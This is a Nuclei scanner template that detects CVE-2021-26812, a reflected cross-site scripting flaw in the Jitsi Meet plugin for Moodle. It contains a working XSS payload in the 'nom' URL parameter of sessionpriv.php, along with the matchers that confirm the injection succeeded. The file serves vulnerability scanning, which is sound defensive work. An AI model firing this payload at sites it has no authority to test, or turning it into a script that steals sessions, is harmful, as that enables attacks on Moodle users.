nuclei-templates/cves/2021/CVE-2021-26812.yaml

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1.2 KiB
YAML

id: CVE-2021-26812
info:
name: Moodle jitsi plugin XSS
author: aceseven (digisec360)
description: Cross Site Scripting (XSS) in the Jitsi Meet 2.7 through 2.8.3 plugin for Moodle via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject javascript code to be run by the application.
severity: medium
tags: cve,cve2021,moodle,jitsi,xss,plugin
reference:
- https://github.com/udima-university/moodle-mod_jitsi/issues/67
- https://nvd.nist.gov/vuln/detail/CVE-2021-26812
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-26812
cwe-id: CWE-79
requests:
- method: GET
path:
- "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "alert(document.domain);"
- type: status
status:
- 200
- type: word
part: header
words:
- "MoodleSession"